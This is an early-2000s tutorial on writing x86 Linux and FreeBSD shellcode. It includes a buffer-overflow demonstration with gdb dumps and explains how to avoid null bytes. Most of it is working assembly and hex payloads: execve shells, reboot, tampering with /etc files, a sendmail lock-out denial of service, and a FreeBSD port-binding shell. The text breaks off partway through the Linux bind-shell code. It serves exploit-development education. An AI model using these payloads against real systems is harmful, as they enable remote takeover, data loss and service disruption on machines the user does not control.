Writing Shellcode
文章作者：zillionIntroduction:
Author: zillion (safemode.org)
Date: 10-04-2002
I wrote this document for the purpose of self-education and made it public
so that it might be useful to other. This is not the type of document
from which you can expect to learn shellcode developement in 21 hours ;-) If
you are completely new to this subject, try playing with assembly a bit and
take it easy with this file.
The shellcodes presented here have all been tested to work can be used in most exploits without a problem. However, these codes may cause serious damage to your computer and should therefor only be used against TEST systems that have NO network connectivity!. Imagin what happens if you run the backdoor on you system and forget about it....
If you have any comments or questions please feel free to them to mail me!
zillion
Processing assembly code:
I prefer using nasm to compile assembly code and the examples used in this
document are all written in the nasm syntax. Using nasm to compile the assembly
code can be done as follows:
nasm -o prog prog.S
After executing this command, the file 'prog' will contain our binary data
that we will translate to the shellcode. At this point you will not be able
to execute this data directly from command line. You can use the utility that
is placed at the end of this document. Usage of this tool will look like this:
gcc -o s-proc s-proc.c
bash-2.04$ ./s-proc -e prog
Calling code ...
sh-2.04$ exit
bash-2.04$ ./s-proc -p prog
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41"
"\x42\x42\x42\x42";
bash-2.04$
Memory corruption:
Shellcode can be seen as a list of instructions that has been developed
in a manner that allows it to be injected in an application during runtime.
Injecting shellcode in application can be done trough many different security
holes of which buffer overflows are the most popular ones. In order to explain
how shellcode is used, I will give a small buffer overflow example by using
the following c program:
void main(int argc, char **argv, char **envp) {
char array[200];
strcpy(array,argv[1]);
}
If we compile this (gcc -o overflow overflow.c) and execute it with a very
large string of characters we can overwrite memory:
On linux:
[root@droopy done]# ./overflow `perl -e 'print "A" x 220'`BBBB
Segmentation fault (core dumped)
[root@droopy done]#
On FreeBSD:
[root@freebsd done]# ./overflow `perl -e 'print "A" x 204'`BBBB
Segmentation fault (core dumped)
[root@freebsd done]#
Well that doesn't look good now does it ? ;-) It appears that we forced some
memory corruption with the 220 A's and 4 B's that where given to the program
as argument during the execution. That argument exceeded the size of the array
and as a result of this, data that was stored behind this array got overwritten.
You can see what happend by using gdb (the GNU debugger) to analyze the core
dump file. Output generated by gdb often looks very scary for newcommers but
have no fear.. there is a manual.
BTW if you did not get a coredump try more A's or set ulimit to a number
such as 99999 ( ulimit -c 99999 )
[root@droopy done]# gdb -core=core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info all
eax 0xbffff990 -1073743472
ecx 0xfffffdc3 -573
edx 0xbffffcad -1073742675
ebx 0x4013b824 1075034148
esp 0xbffffa70 0xbffffa70
ebp 0x41414141 0x41414141
esi 0xbffffad4 -1073743148
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 66182
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
st0 0 (raw 0x00000000000000000000)
st1 0 (raw 0x00000000000000000000)
st2 0 (raw 0x00000000000000000000)
st3 0 (raw 0x00000000000000000000)
st4 0 (raw 0x00000000000000000000)
st5 0 (raw 0x00000000000000000000)
st6 0 (raw 0x00000000000000000000)
st7 0 (raw 0x00000000000000000000)
fctrl 0x0 0
fstat 0x0 0
ftag 0x0 0
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
fop 0x0 0
So by using GDB we can see the contents of all registers at the time 'overflow'
got killed. I have made the most important registers bold. EBP and EIP are 32 bit
registers (32/8 = 4 Byte) and are holding the last 8 bytes of our argument.
In the above gdb output you can see that lines 'EBP' and 'EIP' are made bold.
These are important lines from which we can indicate that memory was overwritten
with data we control. As you can see EBP holds the value 0x41414141. 41 is the
hex value for A meaning that EBP contains AAAA. The EIP register holds 0x42424242.
42 is the hex value of B meaning that EIP holds BBBB.
You can also use gdb to examine more memory by using the 'x' command. In this case
we can see our buffer by using the command 'x/150 0xbffffa70' where 0xbffffa70 is
the value that is obtained from the ESP register:
(gdb) x/150 $esp
0xbffffa70: 0x00000000 0xbffffad4 0xbffffae0 0x0804830e
0xbffffa80: 0x080482e4 0x4013b824 0xbffffaa8 0x40037b4c
0xbffffa90: 0x00000000 0xbffffae0 0x4013a358 0x40016638
0xbffffaa0: 0x00000002 0x08048380 0x00000000 0x080483a1
0xbffffab0: 0x0804845c 0x00000002 0xbffffad4 0x080482e4
0xbffffac0: 0x080484cc 0x4000df24 0xbffffacc 0x40016c0c
0xbffffad0: 0x00000002 0xbffffbc1 0xbffffbcc 0x00000000
0xbffffae0: 0xbffffcad 0xbffffcce 0xbffffced 0xbffffd0f
0xbffffaf0: 0xbffffd1b 0xbffffede 0xbffffefd 0xbfffff13
0xbffffb00: 0xbfffff1e 0xbfffff2d 0xbfffff35 0xbfffff45
0xbffffb10: 0xbfffff53 0xbfffff64 0xbfffff6f 0xbfffff80
0xbffffb20: 0xbfffffa3 0xbfffffb6 0xbfffffc3 0x00000000
0xbffffb30: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffb40: 0x00000005 0x00000006 0x00000006 0x00001000
0xbffffb50: 0x00000007 0x40000000 0x00000008 0x00000000
0xbffffb60: 0x00000009 0x08048380 0x0000000b 0x00000000
0xbffffb70: 0x0000000c 0x00000000 0x0000000d 0x00000000
0xbffffb80: 0x0000000e 0x00000000 0x00000010 0x0080f9ff
0xbffffb90: 0x0000000f 0xbffffbbc 0x00000000 0x00000000
0xbffffba0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbb0: 0x00000000 0x00000000 0x00000000 0x36383669
0xbffffbc0: 0x6f2f2e00 0x66726576 0x00776f6c 0x41414141
0xbffffbd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbe0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffca0: 0x41414141 0x41414141 0x42424242 0x44575000
0xbffffcb0: 0x6f682f3d 0x6e2f656d 0x736c6569 0x6f7a2f68
0xbffffcc0: 0x722f656e 0x79646165
(gdb)
Here we can see that EBP and EIP are located directly behind eachother. Now
what most exploit do is that they put an address in EIP (Instruction pointer)
that points to instructions they have put in the buffer that caused the
overflow. Instructions ?? hey that includes our shellcode !! ;-)
Using the registers:
Intel has 32 bit registers that can be split up in 16 and 8 bit. When developing
shellcode you will find out that using the smallest registers often prevents
having NULL bytes in code. Also using the right register for the right value
should be considered effective programming. I mean would you put a mouse in a
cage that was created for an elephant ?? I tought so ! ;p . Now lets have a look
at the registers that we will be using.
32 Bit 16 Bit 8 Bit (High) 8 Bit (Low)
EAX AX AH AL
EBX BX BH BL
ECX CX CH CL
EDX DX DH DL
EAX, AX, AH and AL are called the 'Accumulator' registers and can be used for I/O
port access, arithmetic, interrupt calls etc. Later in this document you will see
that we can use these registers to use system calls.
EBX, BX, BH, and BL are the 'Base' registers and are used as base pointers for
memory access. You will see later on that we will use this register to store
pointers in for arguments of system calls. This register is also sometimes used
to store return value from an interrupt in. An example of this can be seen when
using the 'open' systems call. When you opened a file with this system call then
the 'file' descriptor, which can be used for I/O with the opened file, will be
stored in the EBX register.
ECX, CX, CH, and CL are also known as the 'Counter' registers. In the examples
of this document you will see a loop that uses CL as a counter and some examples
that will use ECX to store pointers in.
EDX, DX, DH, and DL are called the 'Data' registers and can be used for I/O port
access , arithmetic and some intrerrupt calls.
When you want to execute a system call you will have to use these registers to
prepare the system call. A very simple example is the exit(0) syscall:
mov al, 0x01 ; The syscall number for exit
xor ebx, ebx ; EBX will now contain the value 0
int 0x80 ; and activate !
It is important to always use the smallest registers available to store you data
in. This to avoid NULL bytes in shell code. For example if we would use the following
exit code:
BITS 32
; exit(0) code
mov eax, 0x01 ; The syscall number for exit
xor ebx, ebx ; EBX will now contain the value 0
int 0x80 ; and activate !
The register 'eax' will be to large to hold our byte with the result that NULL bytes
will exist in our shellcode result:
su-2.05a# s-proc -p exit
char shellcode[] =
"\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80";
By using 'ndisasm' , which is part of the nasm package, we can see how the large register
is translated:
su-2.05a# ndisasm exit
00000000 B80100 mov ax,0x1
00000003 0000 add [bx+si],al
00000005 31DB xor bx,bx
00000007 CD80 int 0x80
The addressing problem:
In most cases of shellcode you cannot use hardcoded memory addresses. So in
order to know where your data is located, you'll need to do a little trick:
jmp short stuff
code:
pop esi
<data>
stuff:
call code
db 'This is my string#'
What you see in the above code is that we 'jmp' from the beginning of the
code to 'stuff' from where we 'call code'. At the beginning from 'code' we
'pop esi'. Now esi will represent the location of the string 'This is my string'
In the above sample [esi + 1] represents 'h' from the word 'This'.
The NULL byte problem:
NULL bytes are string delimeters and kill shellcode. If you created shellcode
that contains such bytes: Don't bother using it and try to fix the problem.
So since you cannot have NULL bytes in the shellcode you will have to add them
at runtime. Now that we have seen in the above example how to get the location
of bytes in our string:
jmp short stuff
code:
pop esi
xor eax,eax ; doing this will make eax NULL
mov byte [esi + 17],al ; put a null byte byte on [esi + 17]
stuff:
call code
db 'This is my string#'
In the above example we replace '#' with a NULL byte and terminate the string
'This is my string' at run time. For clean coding purposes it I find it the best
to alter you strings at the beginning of you assembly code.
Please note that NULL bytes are not the only problem! Other bytes such as newlines
and special characters can also cause problems !.
The syn() syn() reboot() examples :
Dont run this code on a production system ! Sync brings the hard disk state
of the file system in sync with the internal state of the file system. We have
to put this in front of the reboot() syscall to avoid loss of data that hasn't
been written by the harddisk on the file system. Using this code can ofcourse
still result in dataloss because active processes are *not* terminated properly
before the reboot. Since we don't need to alter any data in this code, their is
no need to find out from what location we are working:
BITS 32
pop esi
xor eax, eax
mov al,36
int 0x80
mov al,36
int 0x80
mov al, 88
mov ebx, 0xfee1dead
mov ecx, 672274793
mov edx, 0x1234567
int 0x80
Shellcode produced by this assembly code:
[root@droopy doc]# nasm -o reboot reboot.S
[root@droopy doc]# s-proc -p reboot
char shellcode[] =
"\x5e\x31\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\xb0\x58\xbb\xad"
"\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80";
The FreeBSD code for this is much simpler and doesn't require you to add sync()
in front of it:
BITS 32
xor eax,eax
mov dx,9998
sub dx,9990
mov al, 55
int 0x80
The FreeBSD shellcode created by this code:
char shellcode[] =
"\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80";
Additionally FreeBSD also has many more different flags for reboots which you can
use to do some funky stuff ;-) see: /usr/include/sys/reboot.h for more information.
The rename() example (linux):
The rename syscall looks like this (taken from 'man rename'):
int rename(const char *oldpath, const char *newpath);
So in order to use this syscall successful we need two pointers to our old
and new file. To get an adress from a string we can use 'lea' in assembly.
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi + 9], al ; terminate arg 1
mov byte [esi + 24], al ; terminate arg 2
mov byte al, 38 ; the syscall rename = 83
lea ebx, [esi] ; put the address of /etc/motd (esi) in ebx
lea ecx, [esi + 10] ; put the address of /etc/ooops.txt (esi + 10) in ecx
int 0x80 ; We have everything ready so lets call the kernel
mov al, 0x01 ; prepare to exit()
xor ebx, ebx ; clean up
int 0x80 ; and exit !
callit:
call doit
db '/etc/motd#/etc/ooops.txt#'
Please note that the 'db' line can also be formatted like this, it doesn't make any difference:
db '/etc/motd#'
db '/etc/ooops.txt#'
Shellcode produced from this assembly code, after we compiled it, will look like this:
char shellcode[] =
"\xeb\x18\x5e\x31\xc0\x88\x46\x09\x88\x46\x18\xb0\x26\x8d\x1e"
"\x8d\x4e\x0a\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe3\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x6d\x6f\x74\x64\x23\x2f\x65\x74\x63"
"\x2f\x6f\x6f\x6f\x70\x73\x2e\x74\x78\x74\x23";
The execve examples number I (no arguments):
Execve is the almighty system call that can be used to execute a file. The
linux implementation looks like this:
int execve (const char *filename, char *const argv [], char *const envp[]);
So what we need is to get 3 pointers, one to our filename, one to the arguments
array and one to environment array. Since we are not interested in the environment
array we will use NULL for it. We will implement this execve as follows:
execve("pointer to string /bin/sh","pointer to /bin/sh","pointer to NULL");
BITS 32
jmp short callit ; jmp trick as explained above
doit:
pop esi ; esi now represents the location of our string
xor eax, eax ; make eax 0
mov byte [esi + 7], al ; terminate /bin/sh
lea ebx, [esi] ; get the adress of /bin/sh and put it in register ebx
mov long [esi + 8], ebx ; put the value of ebx (the address of /bin/sh) in AAAA ([esi +8])
mov long [esi + 12], eax ; put NULL in BBBB (remember xor eax, eax)
mov byte al, 0x0b ; Execution time! we use syscall 0x0b which represents execve
mov ebx, esi ; argument one... ratatata /bin/sh
lea ecx, [esi + 8] ; argument two... ratatata our pointer to /bin/sh
lea edx, [esi + 12] ; argument three... ratataa our pointer to NULL
int 0x80
callit:
call doit ; part of the jmp trick to get the location of db
db '/bin/sh#AAAABBBB'
Note that the #AAAABBBB characters are not needed in the shellcode but removing them can have the result
that the the shellcode corrupts memory which causes it to fail. This assembly code can be used to create
the following shellcode:
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41"
"\x42\x42\x42\x42";
In the above example syscall argument data is stored in the CPU registers (eax,ecx,edx etc).
This is the way how Linux likes it. On *BSD systems argument are given to system calls by pushing
them on the stack. Below is an example for an execve syscall on FreeBSD:
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi + 7], al
push eax
push eax
push esi
mov al,59
push eax
int 0x80
callit:
call doit
db '/bin/sh'
And the result:
su-2.05a# s-proc -p execve
char shellcode[] =
"\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd"
"\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
su-2.05a# s-proc -e execve
Calling code ...
#
The execve example number II (one argument, linux):
From the execve man page:
int execve (const char *filename, char *const argv [], char *const envp[]);
So we need a pointer to our file name, argument array and environment array. The
last called array may also be replaced with NULL and that is what we will do ;-)
Remember.. you can use execve for any program !
BITS 32
jmp short callit
doit:
; Part one: Manipulate the string defined after 'db'
pop esi ; esi now represents our string
xor eax, eax ;
mov byte [esi + 7], al ; put null byte after /bin/sh and ths terminate the string
mov byte [esi + 10], al ; ditto but then after -i
; Part two: Prepare the arguments for our system call
mov long [esi + 11], esi ; get address of /bin/sh and store it in AAAA
lea ebx, [esi + 8] ; get adress of -i and store it in ebp
mov long [esi + 15], ebx ; store the address in [esi + 15] -> BBBBB
mov long [esi + 19], eax ; put NULL in CCCC
; Part three: Prepare execution and execute
mov byte al, 0x0b ; 0x0b is the execve system call
mov ebx, esi ; ebx = argument 1
lea ecx, [esi + 11] ; arguments pointer
lea edx, [esi + 19] ; environment pointer
int 0x80
mov al, 0x01
xor ebx, ebx
int 0x80
callit:
call doit
db '/bin/sh#-i#AAAABBBBCCCC'
[root@droopy execve-2]# nasm -o execve execve.S
[root@droopy execve-2]# s-proc -p execve
char shellcode[] =
"\xeb\x27\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x89\x76\x0b\x8d"
"\x5e\x08\x89\x5e\x0f\x89\x46\x13\xb0\x0b\x89\xf3\x8d\x4e\x0b"
"\x8d\x56\x13\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd4\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x69\x23\x41\x41\x41"
"\x41\x42\x42\x42\x42\x43\x43\x43\x43";
[root@droopy execve-2]# s-proc -e execve
Calling code ...
sh-2.04#
The execve example number III (2 > arguments, linux):
Again we will use the following defenition:
int execve (const char *filename, char *const argv [], char *const envp[]);
And our goal is as follows:
int execve (AAAA,pointer to array AAAABBBBCCCC,DDDD);
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi + 7], al ; terminate /bin/sh
mov byte [esi + 10], al ; terminate -c
mov byte [esi + 18], al ; terminate /bin/ls
mov long [esi + 20], esi ; address of /bin/sh in AAAA
lea ebx, [esi + 8] ; get address of -c
mov long [esi + 24], ebx ; store address of -c in BBBB
lea ebx, [esi + 11] ; get address of /bin/ls
mov long [esi + 28], ebx ; store address of /bin/ls in CCCC
mov long [esi + 32], eax ; put NULL in DDDD
mov byte al, 0x0b ; prepare the execution, we use syscall 0x0b (execve)
mov ebx, esi ; program
lea ecx, [esi + 20] ; argument array (/bin/sh -c /bin/ls)
lea edx, [esi + 32] ; NULL
int 0x80 ; call the kernel to look at our stuff ;-)
callit:
call doit
db '/bin/sh#-c#/bin/ls#AAAABBBBCCCCDDDD'
[root@droopy execve-3]# s-proc -p execve
char shellcode[] =
"\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x12\x89"
"\x76\x14\x8d\x5e\x08\x89\x5e\x18\x8d\x5e\x0b\x89\x5e\x1c\x89"
"\x46\x20\xb0\x0b\x89\xf3\x8d\x4e\x14\x8d\x56\x20\xcd\x80\xe8"
"\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x63\x23"
"\x2f\x62\x69\x6e\x2f\x6c\x73\x23\x41\x41\x41\x41\x42\x42\x42"
"\x42\x43\x43\x43\x43\x44\x44\x44\x44";
[root@droopy execve-3]# s-proc -e execve
Calling code ...
execve execve.S
[root@droopy execve-3]#
The open() write() close() and exit() example (linux):
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi + 14], al ; terminate /tmp/hacked.txt
mov byte [esi + 29],0xa ; 0xa == newline
mov byte [esi + 30], al ; terminate niels was here
lea ebx, [esi + 15] ; get address
mov long [esi + 31], ebx ; put the address of niels--here in xxxx
mov al, 5 ; the syscall open() = 5
lea ebx, [esi] ; argument #1
mov cx, 1090 ; 1024 (append) + 64 (create if no exist) + 2 rw
mov dx, 744q ; if we need to create, these are the permissions
int 0x80 ; kernel int
mov long ebx,eax ; get the descriptor
mov al, 4
mov ecx,[esi + 31] ; the location of our data
mov dx, 15 ; the size of our data
int 0x80 ; kernel interrupt
mov al, 6 ; the close syscall = 6
int 0x80 ; clozzzz
mov al, 0x01 ; exit system call
xor ebx, ebx ; clean up
int 0x80 ; and bail out
callit:
call doit
db '/tmp/owned.txt#'
db 'niels was here #xxxx'
Now this code will generate the following shellcode:
sh-2.04$ ../../../process open shellcode
Calling code ...
bash-2.05$ cat shellcode
char shellcode[] =
"\xeb\x38\x5e\x31\xc0\x88\x46\x0e\xc6\x46\x1d\x0a\x88\x46\x1e"
"\x8d\x5e\x0f\x89\x5e\x1f\xb0\x05\x8d\x1e\x66\xb9\x42\x04\x66"
"\xba\xe4\x01\xcd\x80\x89\xc3\xb0\x04\x8b\x4e\x1f\x66\xba\x0f"
"\x00\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc3"
"\xff\xff\xff\x2f\x74\x6d\x70\x2f\x6f\x77\x6e\x65\x64\x2e\x74"
"\x78\x74\x23\x6e\x69\x65\x6c\x73\x20\x77\x61\x73\x20\x68\x65"
"\x72\x65\x20\x23\x78\x78\x78\x78";
bash-2.05$
As you can see there is a NULL byte in it and thus this shellcode cannot be used So lets find out
what the problem is by using ndisasm.
bash-2.04$ ndisasm open
00000000 EB38 jmp short 0x3a
00000002 5E pop si
00000003 31C0 xor ax,ax
00000005 88460E mov [bp+0xe],al
00000008 C6461D0A mov byte [bp+0x1d],0xa
0000000C 88461E mov [bp+0x1e],al
0000000F 8D5E0F lea bx,[bp+0xf]
00000012 895E1F mov [bp+0x1f],bx
00000015 B005 mov al,0x5
00000017 8D1E66B9 lea bx,[0xb966]
0000001B 42 inc dx
0000001C 0466 add al,0x66
0000001E BAE401 mov dx,0x1e4
00000021 CD80 int 0x80
00000023 89C3 mov bx,ax
00000025 B004 mov al,0x4
00000027 8B4E1F mov cx,[bp+0x1f]
0000002A 66BA0F00CD80 mov edx,0x80cd000f <-- beh !
00000030 B006 mov al,0x6
00000032 CD80 int 0x80
00000034 B001 mov al,0x1
00000036 31DB xor bx,bx
00000038 CD80 int 0x80
0000003A E8C3FF call 0x0
0000003D FF db 0xFF
0000003E FF2F jmp far [bx]
00000040 746D jz 0xaf
00000042 702F jo 0x73
00000044 6F outsw
00000045 776E ja 0xb5
00000047 65642E7478 cs jz 0xc4
0000004C 7423 jz 0x71
0000004E 6E outsb
0000004F 69656C7320 imul sp,[di+0x6c],0x2073
00000054 7761 ja 0xb7
00000056 7320 jnc 0x78
00000058 686572 push word 0x7265
0000005B 652023 and [gs:bp+di],ah
0000005E 7878 js 0xd8
00000060 7878 js 0xda
As you might have already seen that the number of bytes we want
to write is causing a problem. That means the following line needs a fix:
mov dx, 15
We can fix that by using the following trick:
mov dx,9995 ; A trick to get 15 in dx without getting null bytes
sub dx,9980
So what we do is we store 9995 in dx and substract 9980 from it. As a result
dx will contain 15, which is exactly the amount of bytes we want to write in
the opened file. After correcting this error we get the following shellcode:
char shellcode[] =
"\xeb\x39\x5e\x31\xc0\x88\x46\x0e\x88\x46\x1e\x8d\x5e\x0f\x89"
"\x5e\x1f\xb0\x05\x8d\x1e\x66\xb9\x42\x04\x66\xba\xe4\x01\xcd"
"\x80\x89\xc3\xb0\x04\x8b\x4e\x1f\x66\xba\x0b\x27\x66\x81\xea"
"\xfc\x26\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8"
"\xc2\xff\xff\xff\x2f\x74\x6d\x70\x2f\x6f\x77\x6e\x65\x64\x2e"
"\x74\x78\x74\x23\x6e\x69\x65\x6c\x73\x20\x77\x61\x73\x20\x68"
"\x65\x72\x65\x20\x23\x78\x78\x78\x78";
And gone is the null byte ! ;-)
Linux sendmail harrasing shellcode:
This shellcode abused a weakness in sendmail that can prevent that application
from being able to work properly. More information about that issue can be found
here: [url]http://www.sendmail.org/LockingAdvisory.txt[/url]
BITS 32
jmp short callit
doit:
pop esi
xor ebx,ebx ; Make sure the registers we use
xor eax,eax ; are clean
mov eax,0x2 ; 0x2 is fork(). This function returns
int 0x80 ; A process ID to the parent and a 0 to the
; child process. We can test on this and let
test eax,eax ; the parent process exit. This is an important
jnz exit ; test which can be crucial with forking bind
; shellcode. (man fork)
xor eax,eax
mov [esi + 12],al ; Terminate /etc/aliases
mov ecx,eax ; ecx = 0
mov ebx,esi ; The ebx register will contain the
mov al,5 ; location of our data which is 'esi'
int 0x80 ; we open() the file and safe the returned
xor ebx,ebx ; file descriptor in ebx after cleaning this
mov ebx,eax ; register with xor.
mov cl,0x2 ; We want an exclusively lock
mov al,143 ; flock()
int 0x80 ; call kernel and make the lock a fact
sub cl,0x3 ; Start a infinite loop to make sure
l00p: ; that sendmail cannot access the file
js l00p
callit:
call doit
db '/etc/aliases'
exit: ; Exit will get called in the parent process
xor eax,eax ; This is not really needed I guess you can just
mov al,1 ; let it crash to safe space ;-)
int 0x80 ; Execute !! ;-))
The FreeBSD port binding shellcode example:
While port binding shellcode looks very complex, it isn't really that hard to write it.
It very much like the above example, several system calls on a row from which some are
using information that was returned from another (I introduced this in the above example).
When writing a bit more complex code it can help if you first write it in c. In our case
just ripped the c source of the port binding shellcode that Taeho Oh wrote for his shellcode
document and made some minor changes to it. The assembly code generated from this c source is
ofcourse hombrewn and works like a charm on FreeBSD.
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
int soc,cli;
struct sockaddr_in serv_addr;
int main()
{
if(fork()==0)
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0xAAAA;
soc=socket(2,1,6);
bind(soc,(struct sockaddr *)&serv_addr,0x10);
listen(soc,1);
cli=accept(soc,0,0);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execve("/bin/sh",0,0);
}
}
The assembly code I generated from this C source:
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi + 7], al ; Terminate the /bin/sh string
mov al,2 ; The fork() system call
int 0x80 ; We call the kernel to fork us.
;
; Next code: socket(2,1,6)
push byte 0x06 ; The 3e argument
push byte 0x01 ; The 2e argument
push byte 0x02 ; The 1e argument
mov al,97 ; The system call number
push eax ;
int 0x80 ; And call the kernel
;
; Next code: bind(soc,(struct sockaddr *)&serv_addr,0x10);
mov edx,eax ; We store the file descriptor that was returned from socket() in edx
xor eax,eax ; Now we will create the sockaddr_in structure
mov byte [esi + 9],0x02 ; This equals: serv_addr.sin_family=2
mov word [esi + 10],0xAAAA ; This equals: serv_addr.sin_port=0xAAAA
mov long [esi + 12],eax ; This equals: serv_addr.sin_addr.s_addr=0
push byte 0x10 ; We now start with pushing the arguments, 0x10 is the 3e one.
lea eax,[esi + 8] ; Get the address of our structure, arg 2 of bind() is a pointer.
push eax ; And push it on the stack, our second argument is a fact
push edx ; And we push the last argument, the file descriptor, on the stack
xor eax,eax ; Clean up
mov al,104 ; System call 104 represents bind.
push eax ;
int 0x80 ; And call the kernel
;
; Next code: listen(soc,1);
push byte 0x1 ; We push the first argument on the stack
push edx ; We push the filedescriptor that is still stored in the edx register
xor eax,eax ; Cleanup
mov al,106 ; System call 106 represents listen
push eax ;
int 0x80 ; And call the kernel
;
; Next code: accept(soc,0,0);
xor eax,eax ; We need zero's for the arguments.
push eax ; Push the last argument, a zero
push eax ; Push the second argument, another zero
push edx ; Push the first argument, the file descriptor of our socket
mov al,30 ; Define the system call we like to use, accept()
push eax ;
int 0x80 ; And call the kernel to process our data
;
; Next code: dup2(cli,0) , dup2(cli,1) and dup2(cli,2)
; We will do this in a loop since this creates smaller code.
mov cl,3 ; Define our counter = 3
mov ebx,-1 ; The C code for our loop is: b = -1; for(int i =3;i>0;i--) { dup(cli,++b) };
mov edx,eax ; We store the file descriptor from accept() in edx.
;
l00p: ; The loop code starts here.
inc ebx ; This is the instead of the ++b code
push ebx ; We push this value first because it represents the last argument
push edx ; We push the second argument, the file descriptor from accept()
mov al,90 ; We define the system call
push eax ;
int 0x80 ; And call the kernel to execute
sub cl, 1 ; Substract 1 from cl
jnz l00p ; This will continue the loop if cl != 0
;
; Next the execve of /bin/sh
xor eax,eax ; First we create some zero's
push eax ; The 3e argument == NULL
push eax ; So is the second
push esi ; The first argument is a pointer to our string /bin/sh
mov al,59 ; We define the system call, execve.
push eax ;
int 0x80 ; And execute
callit:
call doit
db '/bin/sh'
And again the most important part, the result:
char shellcode[] =
"\xeb\x6a\x5e\x31\xc0\x31\xdb\x88\x46\x07\xb0\x02\xcd\x80\x6a"
"\x06\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6"
"\x46\x09\x02\x66\xc7\x46\x0a\xaa\xaa\x89\x46\x0c\x6a\x10\x8d"
"\x46\x08\x50\x52\x31\xc0\xb0\x68\x50\xcd\x80\x6a\x01\x52\x31"
"\xc0\xb0\x6a\x50\xcd\x80\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd"
"\x80\xb1\x03\xbb\xff\xff\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a"
"\x50\xcd\x80\x80\xe9\x01\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b"
"\x50\xcd\x80\xe8\x91\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
The Linux port binding shellcode:
Linux socket code is a bit different then the BSD one. The problem is that linux
has one socket system call that can be used to query other socket functions (an API)
This system call is called 'socketcall' and is executed with two arguments. The first
argument is a number that represent a socket function (such as listen()). The second
argument is a pointer to an array that contains the argument that have to be given to
the by the first argument defined function.. ;-) Not very useful for shellcode development.
Socketcall is called like this:
socketcall(<function number>,<arguments for that function>)
Below are the available function numbers:
SYS_SOCKET 1
SYS_BIND 2
SYS_CONNECT 3
SYS_LISTEN 4
SYS_ACCEPT 5
SYS_GETSOCKNAME 6
SYS_GETPEERNAME 7
SYS_SOCKETPAIR 8
SYS_SEND 9
SYS_RECV 10
SYS_SENDTO 11
SYS_RECVFROM 12
SYS_SHUTDOWN 13
SYS_SETSOCKOPT 14
SYS_GETSOCKOPT 15
SYS_SENDMSG 16
SYS_RECVMSG 17
And ofcourse the implementation:
BITS 32
xor eax, eax ; NULL eax
inc eax ; eax represents 1 now
mov long [esi +12],eax ;
mov ebx,eax
inc eax
mov long [esi +8],eax
add al,0x04
mov long [esi +16],eax
